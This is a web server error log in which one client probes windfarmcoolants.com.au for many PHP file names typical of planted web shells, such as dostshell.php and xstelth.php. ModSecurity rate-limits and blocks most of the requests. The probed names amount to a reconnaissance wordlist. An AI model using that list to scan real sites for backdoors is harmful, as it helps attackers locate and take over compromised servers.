[Thu May 14 04:46:03.910300 2026] [:error] [pid 11581:tid 11619] [client 52.139.38.158:41629] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTjC_0vF48FbzpvQMV-gwAAABY"]
[Thu May 14 04:46:04.688199 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:59760] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTjDFMY49UWn5BpqVYzBwAAAQ0"]
[Thu May 14 04:46:05.843326 2026] [:error] [pid 11690:tid 11716] [client 52.139.38.158:47785] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTjDSnxWuLN8Hptw8ld1gAAANE"]
[Thu May 14 04:46:07.755156 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:49537] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTjD1MY49UWn5BpqVYzDQAAARI"]
[Thu May 14 04:46:09.270531 2026] [:error] [pid 11690:tid 11711] [client 52.139.38.158:37507] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTjESnxWuLN8Hptw8ld1wAAAMw"]
[Thu May 14 04:46:10.620359 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:41550] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTjElMY49UWn5BpqVYzEQAAAQ0"]
[Thu May 14 04:46:11.891493 2026] [:error] [pid 11588:tid 11660] [client 52.139.38.158:49539] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTjE9Ur21rOixkeGKb3pAAAAIg"]
[Thu May 14 04:46:13.074660 2026] [:error] [pid 11588:tid 11656] [client 52.139.38.158:41621] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTjFdUr21rOixkeGKb3pQAAAIQ"]
[Thu May 14 04:46:13.756356 2026] [:error] [pid 11581:tid 11621] [client 52.139.38.158:41546] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTjFf0vF48FbzpvQMV-kQAAABg"]
[Thu May 14 04:46:14.435370 2026] [:error] [pid 11582:tid 11625] [client 52.139.38.158:41593] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTjFvuw2cmFDpGcKhDLGwAAAEA"]
[Thu May 14 04:46:15.062417 2026] [:error] [pid 11690:tid 11713] [client 52.139.38.158:37575] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTjFynxWuLN8Hptw8ld2QAAAM4"]
[Thu May 14 04:46:15.849492 2026] [:error] [pid 11690:tid 11712] [client 52.139.38.158:37550] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTjFynxWuLN8Hptw8ld3AAAAM0"]
[Thu May 14 04:46:16.487988 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:59447] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTjGCnxWuLN8Hptw8ld3gAAAMA"]
[Thu May 14 04:46:17.983182 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:59722] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTjGVMY49UWn5BpqVYzFAAAARY"]
[Thu May 14 04:46:18.768384 2026] [:error] [pid 63033:tid 63051] [client 52.139.38.158:59783] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTjGlMY49UWn5BpqVYzFgAAARA"]
[Thu May 14 04:46:19.770434 2026] [:error] [pid 11582:tid 11633] [client 52.139.38.158:41599] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTjG_uw2cmFDpGcKhDLHAAAAEg"]
[Thu May 14 04:46:20.436338 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:47853] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agTjHNUr21rOixkeGKb3sQAAAIM"]
[Thu May 14 04:46:21.396848 2026] [:error] [pid 11588:tid 11660] [client 52.139.38.158:37524] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agTjHdUr21rOixkeGKb3tAAAAIg"]
[Thu May 14 04:46:22.029143 2026] [:error] [pid 11582:tid 11634] [client 52.139.38.158:59754] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agTjHvuw2cmFDpGcKhDLHgAAAEk"]
[Thu May 14 04:46:23.021195 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:37562] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agTjH9Ur21rOixkeGKb3uwAAAJg"]
[Thu May 14 04:46:23.902475 2026] [:error] [pid 11690:tid 11719] [client 52.139.38.158:37501] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agTjHynxWuLN8Hptw8ld6AAAANQ"]
[Thu May 14 04:46:24.785670 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:41611] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agTjICnxWuLN8Hptw8ld7AAAAMA"]
[Thu May 14 04:46:25.885404 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:59401] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agTjIVMY49UWn5BpqVYzGAAAAQE"]
[Thu May 14 04:46:26.683478 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:37551] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agTjItUr21rOixkeGKb3wgAAAI8"]
[Thu May 14 04:46:27.613431 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:41548] File does not exist: /usr/local/apache/htdocs/suspended-page/xfile25.php
[Thu May 14 04:46:27.828592 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:41548] File does not exist: /usr/local/apache/htdocs/suspended-page/wpxml.php
[Thu May 14 04:46:28.053057 2026] [:error] [pid 11690:tid 11701] [client 52.139.38.158:41548] File does not exist: /usr/local/apache/htdocs/suspended-page/xstelth.php
[Thu May 14 04:46:28.282317 2026] [:error] [pid 11690:tid 11706] [client 52.139.38.158:41548] File does not exist: /usr/local/apache/htdocs/suspended-page/min.php
[Thu May 14 04:46:28.496621 2026] [:error] [pid 11690:tid 11717] [client 52.139.38.158:41548] File does not exist: /usr/local/apache/htdocs/suspended-page/geforce.php
[Thu May 14 04:46:28.710837 2026] [:error] [pid 11690:tid 11716] [client 52.139.38.158:41548] File does not exist: /usr/local/apache/htdocs/suspended-page/moshou.php
[Thu May 14 04:47:32.666552 2026] [:error] [pid 11582:tid 11639] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/file60.php
[Thu May 14 04:47:32.879027 2026] [:error] [pid 11582:tid 11642] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-k7djufwez2.php
[Thu May 14 04:47:33.416755 2026] [:error] [pid 11582:tid 11631] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/bc.php
[Thu May 14 04:47:33.661636 2026] [:error] [pid 11582:tid 11643] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Thu May 14 04:47:33.873806 2026] [:error] [pid 11582:tid 11649] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Thu May 14 04:47:34.087044 2026] [:error] [pid 11582:tid 11641] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/bob.php
[Thu May 14 04:47:34.300754 2026] [:error] [pid 11582:tid 11646] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Thu May 14 04:47:34.512711 2026] [:error] [pid 11582:tid 11630] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Thu May 14 04:47:35.256718 2026] [:error] [pid 11582:tid 11637] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Thu May 14 04:47:35.479306 2026] [:error] [pid 11582:tid 11627] [client 52.139.38.158:59433] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Thu May 14 04:47:35.688321 2026] [:error] [pid 11582:tid 11636] [client 52.139.38.158:59433] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTjZ_uw2cmFDpGcKhDLRAAAAEs"]
[Thu May 14 04:47:37.176778 2026] [:error] [pid 63033:tid 63037] [client 52.139.38.158:59725] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTjaVMY49UWn5BpqVYzTAAAAQI"]
[Thu May 14 04:47:38.546435 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:41582] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTjainxWuLN8Hptw8leSgAAAMA"]
[Thu May 14 04:47:39.321649 2026] [:error] [pid 11690:tid 11716] [client 52.139.38.158:41652] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTjaynxWuLN8Hptw8leTAAAANE"]
[Thu May 14 04:47:40.343999 2026] [:error] [pid 11588:tid 11661] [client 52.139.38.158:59763] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTjbNUr21rOixkeGKb3-gAAAIk"]
[Thu May 14 04:47:41.349856 2026] [:error] [pid 11588:tid 11658] [client 52.139.38.158:47854] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTjbdUr21rOixkeGKb3_AAAAIY"]
[Thu May 14 04:47:42.244065 2026] [:error] [pid 11588:tid 11663] [client 52.139.38.158:37488] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTjbtUr21rOixkeGKb3_wAAAIs"]
[Thu May 14 04:47:42.772390 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:59448] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTjbtUr21rOixkeGKb4AAAAAJE"]
[Thu May 14 04:47:43.625740 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47854] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTjb1MY49UWn5BpqVYzWQAAARc"]
[Thu May 14 04:47:44.122337 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:47869] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTjcFMY49UWn5BpqVYzXAAAAQ0"]
[Thu May 14 04:47:44.857551 2026] [:error] [pid 63033:tid 63040] [client 52.139.38.158:41601] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTjcFMY49UWn5BpqVYzXQAAAQU"]
[Thu May 14 04:47:45.663509 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:59442] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTjcVMY49UWn5BpqVYzXwAAAQE"]
[Thu May 14 04:47:46.823938 2026] [:error] [pid 63033:tid 63046] [client 52.139.38.158:41626] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTjclMY49UWn5BpqVYzYAAAAQs"]
[Thu May 14 04:47:47.806270 2026] [:error] [pid 11588:tid 11663] [client 52.139.38.158:47758] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTjc9Ur21rOixkeGKb4DQAAAIs"]
[Thu May 14 04:47:49.394935 2026] [:error] [pid 11588:tid 11668] [client 52.139.38.158:47826] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTjddUr21rOixkeGKb4EwAAAJA"]
[Thu May 14 04:47:51.364135 2026] [:error] [pid 11588:tid 11659] [client 52.139.38.158:59774] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTjd9Ur21rOixkeGKb4FwAAAIc"]
[Thu May 14 04:47:53.064290 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:59764] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTjeVMY49UWn5BpqVYzZwAAAQw"]
[Thu May 14 04:47:55.048061 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:47791] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTjeynxWuLN8Hptw8leWAAAANc"]
[Thu May 14 04:47:56.938791 2026] [:error] [pid 11690:tid 11712] [client 52.139.38.158:59727] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTjfCnxWuLN8Hptw8leWQAAAM0"]
[Thu May 14 04:47:58.448781 2026] [:error] [pid 11581:tid 11617] [client 52.139.38.158:37542] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTjfv0vF48FbzpvQMV_CQAAABQ"]
[Thu May 14 04:47:59.243077 2026] [:error] [pid 11581:tid 11606] [client 52.139.38.158:59721] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTjf_0vF48FbzpvQMV_CgAAAAk"]
[Thu May 14 04:47:59.882328 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:59761] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTjf1MY49UWn5BpqVYzbgAAARU"]
[Thu May 14 04:48:00.706939 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:47801] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTjgFMY49UWn5BpqVYzcAAAAQM"]
[Thu May 14 04:48:01.309586 2026] [:error] [pid 63033:tid 63043] [client 52.139.38.158:47773] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTjgVMY49UWn5BpqVYzcQAAAQg"]
[Thu May 14 04:48:01.908595 2026] [:error] [pid 63033:tid 63037] [client 52.139.38.158:41610] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTjgVMY49UWn5BpqVYzcwAAAQI"]
[Thu May 14 04:48:02.433800 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:41664] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTjglMY49UWn5BpqVYzdgAAARQ"]
[Thu May 14 04:48:03.175125 2026] [:error] [pid 63033:tid 63039] [client 52.139.38.158:47766] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTjg1MY49UWn5BpqVYzeAAAAQQ"]
